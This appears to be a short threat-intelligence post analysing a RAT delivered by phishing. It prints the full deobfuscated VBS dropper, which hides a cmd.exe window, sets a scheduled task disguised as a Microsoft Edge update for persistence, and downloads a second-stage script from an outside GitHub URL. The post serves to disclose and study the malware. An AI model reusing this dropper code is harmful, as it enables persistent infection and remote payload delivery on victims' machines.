C.I.T. Security: “Interesting RAT delivered via phishing today The VBS uses heavy string…”

Interesting RAT delivered via phishing today

The VBS uses heavy string obfuscation before executing a hidden cmd.exe that

- Creates a scheduled task for persistence (every 9 minutes)
- Multi thread cause I am not blueticked 🥳
- Cleaned up VBS screenshot for TLDR
- Downloads GoogleSpace.dat from a GitHub Releases URL
- Saves it as %PUBLIC%\Music\GoogleServices.vbs • Masquerades using a MicrosoftEdgeUpdateTaskMachineCore{GUID} task name

Something tells me it's not Microsoft 🤣
https://github.com/microsoft-services/

Full code:

Dim shell
Dim command

Set shell = CreateObject("WScript.Shell")

command = "cmd /C " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "schtasks /create " & _
        " /tn ""MicrosoftEdgeUpdateTaskMachineCore{4CL34008-390A-4893-S0C9-C8B34D3846D8}"" " & _
        " /tr ""%PUBLIC%\Music\GoogleServices.vbs"" " & _
        " /sc minute /mo 9 /f & " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "powershell iwr " & _
        "'https://github.com/microsoft-services/staff/releases/download/v0.0.3/GoogleSpace.dat'" & _
        " -OutFile ""%env:PUBLIC%\Music\GoogleServices.vbs"" & " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "exit"

shell.Run command, 0

Use it for educational purpose only